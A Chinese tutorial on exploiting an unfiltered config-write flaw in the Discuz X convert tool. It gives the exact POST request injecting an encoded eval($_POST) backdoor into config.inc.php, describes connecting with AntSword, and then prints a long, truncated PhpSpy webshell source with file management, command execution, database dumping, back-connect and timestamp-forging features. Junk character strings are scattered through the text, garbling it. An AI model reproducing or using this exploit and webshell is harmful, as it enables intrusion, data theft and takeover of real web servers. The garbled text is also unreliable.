网络安全实战之discuz上传漏洞利用

fudyou

攻击思路：
想要拿下一台主机A的权限：
1、了解一下这个服务器：端口，服务器版本，操作系统版本。找漏洞
# W; j# R) d; k! I, [& R" S2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器，就利用对方网站应用程序的漏洞，上传webshell然后提权
3、传上去后，得到apache用户普通权限，再提权成root
% w% Y) b9 e* A概述：
- |/ d$ Z$ ?0 M% j0 K! v这突破在一个DZ X系列自带的转换工具里面。
: w& u+ ]! d& O5 N, m, {. w% O  A漏洞路径：utility / convert / data / config.inc.php
* t  u6 C9 W. I漏洞发生的原因是：config.inc.php这个文件在黑客通过post写入时，无仸何过滤检测，所以通过post方式往config。inc.php中写木马程序。
5 a( e* {3 {! p4 U触发突破过程：
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  
2、使用/utility/convert/index.php迚行版本转换3，config.inc.php文件没有做过滤，可以使用POST方法对config.inc.php注入木马程序
% V' ?! {0 O; i攻击过程：
1、打开burp设置报文拦截，然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
+ E2 Q$ \4 D$ A6 L  [

) F" c: T# L( z. u  q2，右键单击空白处，选择发送到中继器，将报文发到中继器

3、然后在中继器中查看信息：

4、修改第一行：GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下：

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval（）凼数中的eval是评估的简称，这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径：http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细：

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展：^ M符号^ M字符的来历和作用：在DOS/Windows里，文本文件的换行符为\r \n，而在linux系统里则为\n，所以DOS/Windows里编辑过的文本文件到了linux里，每一行都多了个^ M。所以^ M只是一个换行符号，没有实际的用处，我们可以将它保留，也可以将它删除，％0a％0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马

8、通过中国蚁剑上传大码

' I& n% g' s" k, `. `
10、任意机器访问我们的webshell2.php木马文件，浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码：cmd

webshell代码如下：

1. <?php
   
2. 
   
3. /*****************************************************************************
   
4. 
   5 Q* n" s" |7 \) |0 d% z6 j
5. ===================== 请误用于非法用途，造成一切后果与本人无关。====================
   
6. 
   4 ?" x# y& O6 K9 r4 M1 j1 r
7. ====
   ' C2 ~2 o+ w0 U  U' ~% ]
8. 
   
9. 
   % f6 E3 d/ V) b  y) A
10. *****************************************************************************/
      u( `( G1 l7 p" U3 Z
11. 
    ; _7 _2 H9 V" t+ i& o
12. error_reporting(7);
    
13. @set_magic_quotes_runtime(0);
    
14. ob_start();
    
15. $mtime = explode(' ', microtime());
    * d6 w/ n, a. c6 q) H
16. $starttime = $mtime[1] + $mtime[0];
    ' ^$ q: {9 I) _, X5 W5 Q' y- Y
17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    
18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    
19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    3 y: n# E; F9 p1 ?8 M
20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    8 \; z5 K: w% ?
21. define('IS_GPC', get_magic_quotes_gpc());
    1 t. R, d3 B8 l9 w. f
22. $dis_func = get_cfg_var('disable_functions');
    
23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    
24. @set_time_limit(0);
    ' v% i5 ^8 Q' l( z
25. 
    1 |# S2 e' s+ r
26. foreach(array('_GET','_POST') as $_request) {
    
27.         foreach($$_request as $_key => $_value) {
    + j! E; L" Y" }. b+ \9 F
28.                 if ($_key{0} != '_') {
    
29.                         if (IS_GPC) {
    
30.                                 $_value = s_array($_value);
    
31.                         }
    
32.                         $$_key = $_value;
    3 q% R1 @7 H# a. r6 A1 q1 D
33.                 }
    : q$ B) G' `, p& U+ P/ r9 p* o
34.         }
    ' Z" \- E8 z5 I) A, R) D
35. }
    
36. 
    # Z" q% c1 I% R& ]1 `% P
37. /*===================== 程序配置 =====================*/
    ; @4 y7 h& y4 t% ~" m" l
38. $admin = array();
    
39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    9 [6 C1 r0 q9 W( T0 x
40. $admin['check'] = true;
    7 d. p  L% c$ \7 s
41. // 如果需要密码验证,请修改登陆密码
    7 K% |3 X3 e1 c( w% H+ t7 U3 ~
42. $admin['pass']  = 'xuegod';
    
43. 
    8 v, u! o. ]& X( }5 T; \
44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    
45. // cookie 前缀
    7 g/ i! `- b1 d' x0 p
46. $admin['cookiepre'] = '';
    + H& q; }& B$ G: ?
47. // cookie 作用域
    ' b; E, L1 P3 O2 Q
48. $admin['cookiedomain'] = '';
    
49. // cookie 作用路径
    
50. $admin['cookiepath'] = '/';
    
51. // cookie 有效期
    0 k+ P7 V/ }+ X6 u
52. $admin['cookielife'] = 86400;
    1 O; H  F) v4 }4 S+ C/ `( Y
53. /*===================== 配置结束 =====================*/
    
54. 
    % l5 h1 I7 W" u
55. if ($charset == 'utf8') {
    ! J7 V! C) N+ ^. G9 y0 e, s9 R' @- Y/ O
56.         header("content-Type: text/html; charset=utf-8");
    6 Q. X0 y8 K  q4 i
57. } elseif ($charset == 'big5') {
    
58.         header("content-Type: text/html; charset=big5");
    
59. } elseif ($charset == 'gbk') {
    
60.         header("content-Type: text/html; charset=gbk");
    
61. } elseif ($charset == 'latin1') {
    . [/ ^4 A  a( e* w+ Q" d
62.         header("content-Type: text/html; charset=iso-8859-2");
    
63. }
    
64. 
    3 n+ ^: u2 K) c* }4 r; y4 d
65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    
66. $timestamp = time();
    * p. {5 O: s. b% d5 |4 q
67. 
    " v) @6 r0 Z. t: t
68. /*===================== 身份验证 =====================*/
    
69. if ($action == "logout") {
    : A! q* e/ V2 [+ o5 e; i
70.         scookie('phpspypass', '', -86400 * 365);
    : q0 t$ c& y' i, e
71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    
72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    ; e& F+ a9 N5 O, L5 K2 {
73.         exit;
    ( o# f9 P1 o+ ^* O
74. }
    
75. if($admin['check']) {
    
76.         if ($doing == 'login') {
    
77.                 if ($admin['pass'] == $password) {
    3 S2 z: Z  u1 U  W, G
78.                         scookie('phpspypass', $password);
    
79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    
80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    
81.                         exit;
    
82.                 }
    
83.         }
    
84.         if ($_COOKIE['phpspypass']) {
    
85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {
    / i0 R, _2 s8 a& }
86.                         loginpage();
    - u) r' a. ~! X  f- z
87.                 }
    
88.         } else {
    
89.                 loginpage();
    
90.         }
    
91. }
    
92. /*===================== 验证结束 =====================*/
    0 Q/ u+ o* L' u$ E) Z
93. 
    
94. $errmsg = '';
    & P, g/ k3 \' t! P, O$ D
95. 
    " Y. t$ j% y4 l& J; v0 v& \6 n
96. // 查看PHPINFO
    
97. if ($action == 'phpinfo') {
    
98.         if (IS_PHPINFO) {
    
99.                 phpinfo();
    
100.         } else {
     
101.                 $errmsg = 'phpinfo() function has non-permissible';
     % h, U0 w6 d: H3 C) K4 x
102.         }
     & O! b+ C$ U: _, d( T
103. }
     5 @' H! S4 ]; I# D
104. 
     % N/ Z- C+ y$ I9 P
105. // 下载文件
     , |- S5 w# h9 O9 I5 `" R
106. if ($doing == 'downfile' && $thefile) {
     
107.         if (!@file_exists($thefile)) {
     
108.                 $errmsg = 'The file you want Downloadable was nonexistent';
     
109.         } else {
     
110.                 $fileinfo = pathinfo($thefile);
     
111.                 header('Content-type: application/x-'.$fileinfo['extension']);
     
112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     
113.                 header('Content-Length: '.filesize($thefile));
     ; c: {1 u. y( Z( V# F$ X! m
114.                 @readfile($thefile);
     
115.                 exit;
     
116.         }
     - \& Q+ A: Q9 H1 M% V# G! H. A8 ]$ y
117. }
     
118. 
     8 X/ _0 u9 L3 y: v" k3 _
119. // 直接下载备份数据库
     
120. if ($doing == 'backupmysql' && !$saveasfile) {
     $ [& S3 |8 P$ T- n( ?
121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     
122.         $table = array_flip($table);
     " ^4 E$ A3 Y9 s8 m! g& ^
123.         $result = q("SHOW tables");
     
124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
     
125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
     
126.         header('Content-type: application/unknown');
     
127.         header('Content-Disposition: attachment; filename='.$filename);
     + g$ g( k9 t  ~# |. o" p; h
128.         $mysqldata = '';
     
129.         while ($currow = mysql_fetch_array($result)) {
     
130.                 if (isset($table[$currow[0]])) {
     
131.                         $mysqldata .= sqldumptable($currow[0]);
     
132.                 }
     / K/ |: {0 r8 @1 B; `
133.         }
     
134.         mysql_close();
       A' z1 ^# w& j4 R& o1 Z, h
135.         exit;
     
136. }
     
137. 
     2 C. ?( \) r; Q, [" e
138. // 通过MYSQL下载文件
     
139. if($doing=='mysqldown'){
     7 h: \6 T" f/ d* W
140.         if (!$dbname) {
     
141.                 $errmsg = 'Please input dbname';
     
142.         } else {
     & M8 ^; r9 [9 V. |  `
143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
     9 ^5 d' p! `( Q
144.                 if (!file_exists($mysqldlfile)) {
     : S/ A# F' F. ?4 N5 \
145.                         $errmsg = 'The file you want Downloadable was nonexistent';
     
146.                 } else {
     
147.                         $result = q("select load_file('$mysqldlfile');");
     9 D# @( ?2 J( i- R$ g
148.                         if(!$result){
     
149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
     
150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
     
151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
     : u. S0 i% e) A9 P8 x& s( R. }9 S9 H
152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
     
153.                                 $result = q("select content from tmp_angel");
     
154.                                 q("DROP TABLE tmp_angel");
     9 i8 ~- }8 G6 c4 W
155.                         }
     
156.                         $row = @mysql_fetch_array($result);
     5 |" h& P2 l+ }  g4 S1 P
157.                         if (!$row) {
     
158.                                 $errmsg = 'Load file failed '.mysql_error();
     3 ]7 j) Q: U6 u! v
159.                         } else {
     
160.                                 $fileinfo = pathinfo($mysqldlfile);
     . F+ G$ r# Q1 l" _
161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
     
162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
     
163.                                 header("Accept-Length: ".strlen($row[0]));
     
164.                                 echo $row[0];
     ' c) F5 S+ ?! t4 R
165.                                 exit;
     
166.                         }
     . J! O+ t/ i( @: c9 M1 x, F& p5 [
167.                 }
     
168.         }
     7 v5 K5 K) g# T3 r$ _' Z' R. g- @: ]
169. }
     
170. 
     
171. ?>
     
172. <html>
     ' D& j$ ~' u6 v( g8 p+ W3 y2 J( c
173. <head>
     / g6 i$ I! }6 d6 T; u, b& c
174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
     
175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>
     
176. <style type="text/css">
     
177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
     
178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
     2 w6 z/ a# _- u$ ]6 V! `
179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
     
180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
     
181. a {color: #00f;text-decoration:underline;}
     
182. a:hover{color: #f00;text-decoration:none;}
     
183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
     
184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
     , K, g( d2 m" @; \- I6 W: k
185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
     ; k7 [- S# w- r/ u3 b' G# I
186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
     . U/ d5 o, `5 F
187. .head td span{font-weight:normal;}
     
188. form{margin:0;padding:0;}
     
189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
     
190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
     " o$ e, K. k0 ^% V8 Q1 Q+ j
191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
     ; _1 {. R# R" G0 u* i$ m$ r
192. </style>
     
193. <script type="text/javascript">
     
194. function CheckAll(form) {
     
195.         for(var i=0;i<form.elements.length;i++) {
     
196.                 var e = form.elements[i];
     
197.                 if (e.name != 'chkall')
     
198.                 e.checked = form.chkall.checked;
     7 x- M  L8 p- ~) I& ]6 c
199.     }
     * w, ]+ s5 K/ |3 I7 d
200. }
     8 ?. j7 z: V9 S, l0 v% Z' U
201. function $(id) {
     
202.         return document.getElementById(id);
     0 O0 f3 q" ], ]+ g
203. }
     
204. function goaction(act){
     
205.         $('goaction').action.value=act;
     $ P3 l' t0 O+ ^  n* q" d( K
206.         $('goaction').submit();
     ( X' P, {7 ?- I
207. }
     
208. </script>
     
209. </head>
     
210. <body style="margin:0;table-layout:fixed; word-break:break-all">
     
211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
     3 ~+ j# P6 ^* G: A$ F3 f! z
212.         <tr class="head">
     
213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
     
214.         </tr>
     
215.         <tr class="alt1">
     
216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
     $ N1 T$ I" l$ e3 z! {/ Q# q7 {
217.                         <a href="javascript:goaction('logout');">Logout</a> |
     
218.                         <a href="javascript:goaction('file');">File Manager</a> |
     % e6 V- W7 n$ g. K9 ?2 e
219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
     4 B: D4 b* n. i: P9 J# x
220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
     & }) V; L- ]8 B# Z& G" [( J' f3 v
221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
     9 p- P" l! K" a( V9 J( i  i( I- C
222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
     6 b. }( s! Z) G+ D
223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
     : X2 @2 s7 ^4 O+ r. D: F: O
224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
     
225.                 </td>
     
226.         </tr>
     
227. </table>
     , L) C8 T7 {; y, i: b
228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
     $ }  F  s. Y) b7 K/ y8 ]! R
229. <?php
     
230. 
     . q( O# C1 Z) i' `* l0 f) i
231. formhead(array('name'=>'goaction'));
     
232. makehide('action');
     ' X9 K3 c+ X) h6 U
233. formfoot();
     6 v$ V5 ]* }$ q' Z/ }( f
234. 
     / b* |+ e0 m1 q" X. I
235. $errmsg && m($errmsg);
     
236. 
     
237. // 获取当前路径
       h, _  R' T! q4 A+ z
238. !$dir && $dir = '.';
     9 p: u6 l1 c$ I' |7 z9 S
239. $nowpath = getPath(SA_ROOT, $dir);
     
240. if (substr($dir, -1) != '/') {
     4 s# w3 L7 ~1 |. g3 l) ^& m7 J! l
241.         $dir = $dir.'/';
     8 D  O% L5 L$ h9 d+ I6 D
242. }
     % e! y  B# ^: q$ G, ?# H3 K
243. $uedir = ue($dir);
     / \0 _+ C$ s3 r+ }1 p/ ~0 |0 l
244. 
     3 Y; m9 A6 K* Y
245. if (!$action || $action == 'file') {
     
246. 
     . _4 K1 A5 [; Y/ {6 [
247.         // 判断读写情况
     
248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
     0 o$ F% \0 ^! q  K1 c/ N5 R5 j
249. 
     3 m; f$ M+ e( S
250.         // 删除目录
     ) D" }1 q' \: |" H0 r- [- b# j
251.         if ($doing == 'deldir' && $thefile) {
     # I3 s  D$ x6 g
252.                 if (!file_exists($thefile)) {
     
253.                         m($thefile.' directory does not exist');
     
254.                 } else {
     - F4 T! O& T! g+ O  t3 l  U3 Q
255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
     " N- A% X9 y4 d7 y6 Y
256.                 }
     
257.         }
     
258. 
     
259.         // 创建目录
     
260.         elseif ($newdirname) {
     
261.                 $mkdirs = $nowpath.$newdirname;
     " z8 a( K, n! n  ~5 J7 L' c. x
262.                 if (file_exists($mkdirs)) {
     ; i$ P" U# y+ n6 w, V* u* l) E
263.                         m('Directory has already existed');
     
264.                 } else {
     
265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
     % _) u; O5 [5 C( `
266.                         @chmod($mkdirs,0777);
     0 K& Y7 q9 T9 p+ ~! Q4 L0 Y% P
267.                 }
     5 j3 ]4 `( ?  n0 O/ E9 Y( x
268.         }
     
269. 
     
270.         // 上传文件
     
271.         elseif ($doupfile) {
     0 I  N4 f+ c# r+ R' h- ?
272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
     
273.         }
     0 U$ _, g2 Q6 o3 ?
274. 
     ) B4 C# Q- |. v: ~) i
275.         // 编辑文件
     9 b  s# l/ C. A
276.         elseif ($editfilename && $filecontent) {
     : r% k. s0 W; M- @' m% \/ K4 H
277.                 $fp = @fopen($editfilename,'w');
     " L% b( K4 M! u+ Y- ~, X
278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
     
279.                 @fclose($fp);
     ( `+ Q, k2 N. v( K
280.         }
     8 M+ f( K3 A( x" f/ [) F# F4 ^
281. 
     6 ?8 D* q- M9 z6 U! j7 P
282.         // 编辑文件属性
       k3 X9 D# W' S7 X
283.         elseif ($pfile && $newperm) {
     
284.                 if (!file_exists($pfile)) {
     8 y, Q* _6 n* O8 ~: V0 L
285.                         m('The original file does not exist');
     
286.                 } else {
     
287.                         $newperm = base_convert($newperm,8,10);
     
288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
     
289.                 }
     7 F4 o' c3 M" W5 g5 o' u4 H8 a! N
290.         }
     
291. 
     6 E8 R: J! T! v2 K4 T
292.         // 改名
     4 i7 K/ x5 J/ i; }6 `3 @0 s- [
293.         elseif ($oldname && $newfilename) {
     + M, b/ y9 D/ t% L+ [
294.                 $nname = $nowpath.$newfilename;
     7 M/ ~3 Q1 q0 H( g7 A; n' G, E7 W
295.                 if (file_exists($nname) || !file_exists($oldname)) {
     4 b6 ]6 e6 g0 j: k, |* l1 E2 c
296.                         m($nname.' has already existed or original file does not exist');
     8 b1 @  g# L8 @) X* N
297.                 } else {
     % M8 w' k& n- P' d) W
298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
     0 Y/ |+ B: p7 m2 o3 i
299.                 }
     
300.         }
     
301. 
     4 O+ S6 B0 W/ q) e4 r* \' `! [
302.         // 复制文件
     
303.         elseif ($sname && $tofile) {
     
304.                 if (file_exists($tofile) || !file_exists($sname)) {
     
305.                         m('The goal file has already existed or original file does not exist');
     
306.                 } else {
     
307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
     
308.                 }
     
309.         }
     
310. 
     
311.         // 克隆时间
     ' f2 a% f& g; e
312.         elseif ($curfile && $tarfile) {
     * w1 N7 [% J+ t. s
313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
     
314.                         m('The goal file has already existed or original file does not exist');
     
315.                 } else {
     . v8 s  j5 W4 j% J- `/ g
316.                         $time = @filemtime($tarfile);
     % u; j' G3 y1 E$ y( f8 J4 P
317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     
318.                 }
     6 s+ J  _1 Y1 a( \7 L" L
319.         }
     0 N) M* s4 r- F( l: C0 Z
320. 
     2 J0 J# i) D# @3 T7 T* l* e9 Q2 _
321.         // 自定义时间
     
322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
     
323.                 if (!@file_exists($curfile)) {
     
324.                         m(basename($curfile).' does not exist');
     
325.                 } else {
     1 s: P# K! M7 h) E% x
326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
     ; L& S8 R; q& H) b' k0 \
327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
     
328.                 }
     5 x# K. r/ W. v4 r7 U- t& ^
329.         }
       s/ p  D8 ]" i( O  ~
330. 
     
331.         // 打包下载
     
332.         elseif($doing == 'downrar') {
     & ~" X# i) ~2 e/ J
333.                 if ($dl) {
     9 I/ Y5 c5 ^/ S. H  Q( O
334.                         $dfiles='';
     
335.                         foreach ($dl as $filepath => $value) {
       S. k+ G  {8 B5 y, S0 @- k
336.                                 $dfiles.=$filepath.',';
     
337.                         }
     , y$ }1 i% Z4 L$ H$ V% g; i) L
338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
     # J$ I; D; m: U& S4 g
339.                         $dl=explode(',',$dfiles);
     
340.                         $zip=new PHPZip($dl);
     
341.                         $code=$zip->out;
     / j, y" {! D6 r
342.                         header('Content-type: application/octet-stream');
     
343.                         header('Accept-Ranges: bytes');
     % I! u' E, m# K
344.                         header('Accept-Length: '.strlen($code));
     , R' j% u4 ]8 ]1 a1 M
345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
     
346.                         echo $code;
     
347.                         exit;
     6 K6 g! D1 _- J& x
348.                 } else {
     
349.                         m('Please select file(s)');
     
350.                 }
     
351.         }
     * J% ^2 u# o+ u- B
352. 
     7 e+ v, m; k! ~: z4 z
353.         // 批量删除文件
     
354.         elseif($doing == 'delfiles') {
     * b8 b' Q3 a+ x9 K
355.                 if ($dl) {
     ! W3 z2 m' v8 P) B/ p0 o
356.                         $dfiles='';
     5 B5 o2 ?" ~1 A
357.                         $succ = $fail = 0;
     
358.                         foreach ($dl as $filepath => $value) {
     / i6 x0 N( A  a* ?3 D5 Q
359.                                 if (@unlink($filepath)) {
     6 e) A+ G, F: z+ t0 R0 Z
360.                                         $succ++;
     
361.                                 } else {
     
362.                                         $fail++;
     8 c' f. }/ A+ M/ o. r& X  Z4 D
363.                                 }
     
364.                         }
     
365.                         m('Deleted file have finished，choose '.count($dl).' success '.$succ.' fail '.$fail);
     
366.                 } else {
     4 \$ `7 k  U7 a% w
367.                         m('Please select file(s)');
     
368.                 }
     1 ~' Z0 M6 n6 U) s9 }
369.         }
     
370. 
     
371.         //操作完毕
     
372.         formhead(array('name'=>'createdir'));
     
373.         makehide('newdirname');
     5 v6 o7 M* T9 {' @
374.         makehide('dir',$nowpath);
     
375.         formfoot();
     
376.         formhead(array('name'=>'fileperm'));
     / ^3 y1 b% o& w; \
377.         makehide('newperm');
       E- u$ ^1 o3 b* E- E+ j
378.         makehide('pfile');
     
379.         makehide('dir',$nowpath);
     7 Q9 G1 E9 F4 W/ \: w$ V2 g0 r7 Y
380.         formfoot();
     5 y. f2 C3 g. F# p
381.         formhead(array('name'=>'copyfile'));
     0 b! d+ q- ~' w* R
382.         makehide('sname');
     + e4 z/ i* y. p( j+ G* w
383.         makehide('tofile');
     
384.         makehide('dir',$nowpath);
     8 }' U( b: F$ ]
385.         formfoot();
       z  ]! ]$ u, A6 ^7 ], ^2 n
386.         formhead(array('name'=>'rename'));
     
387.         makehide('oldname');
     * Y+ c; @) J1 q% C8 {" d
388.         makehide('newfilename');
     2 k9 ~1 a1 [) b# U) i
389.         makehide('dir',$nowpath);
     
390.         formfoot();
     
391.         formhead(array('name'=>'fileopform'));
     
392.         makehide('action');
     8 [6 E) c4 P- n+ v/ R
393.         makehide('opfile');
     
394.         makehide('dir');
     
395.         formfoot();
     ! T! N0 K! m0 |3 W5 s4 V  i
396. 
     , K' _5 b8 E. i: v9 i& M& Z
397.         $free = @disk_free_space($nowpath);
     
398.         !$free && $free = 0;
     
399.         $all = @disk_total_space($nowpath);
     
400.         !$all && $all = 0;
     : U# T  f9 j7 n. Q, _% Z
401.         $used = $all-$free;
     
402.         $used_percent = @round(100/($all/$free),2);
     + I2 i5 x, u" @2 S, O  K2 b6 {1 z( B
403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
     0 E) l- S& z& m: b6 V3 T6 |5 F
404. 
     0 P5 H8 y) Y: \7 c' j
405. ?>
     
406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
     
407.   <form action="" method="post" id="godir" name="godir">
     ( S. W1 k! C8 j0 P7 x
408.   <tr>
     ) }$ i/ x* W/ N; R3 a- I+ f
409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
     0 h7 ~) r( L2 M2 b% r
410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
     / o4 b/ y& n: h- [. M5 o
411.     <td nowrap><input class="bt" value="GO" type="submit"></td>
     
412.   </tr>
     
413.   </form>
     . f  `1 D( m$ |: _" t7 g$ w; M
414. </table>
     
415. <script type="text/javascript">
     * H* ]+ \$ }+ P% I! y+ a  B
416. function createdir(){
     
417.         var newdirname;
     7 y6 Z: w" X) K. f* L  _
418.         newdirname = prompt('Please input the directory name:', '');
     3 ^1 }" X8 L  t
419.         if (!newdirname) return;
     
420.         $('createdir').newdirname.value=newdirname;
     , z8 p7 l! N2 Y* q+ J6 d
421.         $('createdir').submit();
     ; ^0 J! m. k) ?6 _7 @  r9 X! u
422. }
     + U5 u' V& ?1 ~6 p  t# ?  a$ c
423. function fileperm(pfile){
     % Q1 h% k' K, v1 i+ R
424.         var newperm;
     ; a, f( \" L# l0 q2 J
425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
     
426.         if (!newperm) return;
     
427.         $('fileperm').newperm.value=newperm;
     $ h7 J9 x9 P# V; [' J6 Q: V
428.         $('fileperm').pfile.value=pfile;
     
429.         $('fileperm').submit();
     ! F0 V! G  m9 b9 [
430. }
     : j/ \1 s2 p, o4 Z) h: d6 A
431. function copyfile(sname){
     3 Q, d0 l; R0 b5 H
432.         var tofile;
     
433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
     
434.         if (!tofile) return;
     
435.         $('copyfile').tofile.value=tofile;
     
436.         $('copyfile').sname.value=sname;
     
437.         $('copyfile').submit();
     ; j5 M" C+ N+ J  s. _3 S0 d7 b
438. }
     
439. function rename(oldname){
     1 A: ]! F( ]! o  \# Y" v9 f9 B; V
440.         var newfilename;
     
441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
     
442.         if (!newfilename) return;
     + V/ }' c2 W/ |8 B0 Z  J
443.         $('rename').newfilename.value=newfilename;
     
444.         $('rename').oldname.value=oldname;
     $ J+ G+ g* e0 M
445.         $('rename').submit();
     
446. }
     
447. function dofile(doing,thefile,m){
     
448.         if (m && !confirm(m)) {
     
449.                 return;
     
450.         }
     
451.         $('filelist').doing.value=doing;
     
452.         if (thefile){
     0 z+ S) q( K# c7 M# X8 M. l
453.                 $('filelist').thefile.value=thefile;
     * e6 }0 t/ b5 J) x& r7 A; @& Q
454.         }
     
455.         $('filelist').submit();
     2 s) O. t: ]# k0 x8 N, w+ k# f
456. }
     & ]5 L. I* Z( K$ H. m
457. function createfile(nowpath){
     8 i0 I! c8 ], w/ C
458.         var filename;
     
459.         filename = prompt('Please input the file name:', '');
     
460.         if (!filename) return;
     
461.         opfile('editfile',nowpath + filename,nowpath);
     
462. }
     0 |9 v; i6 o6 {+ P. f$ ?7 c
463. function opfile(action,opfile,dir){
     " A, [3 g! j. Q& v
464.         $('fileopform').action.value=action;
     4 m! T4 `: t8 Y8 {+ a; _  [
465.         $('fileopform').opfile.value=opfile;
       }! T  z- m  V
466.         $('fileopform').dir.value=dir;
     
467.         $('fileopform').submit();
     
468. }
     
469. function godir(dir,view_writable){
     
470.         if (view_writable) {
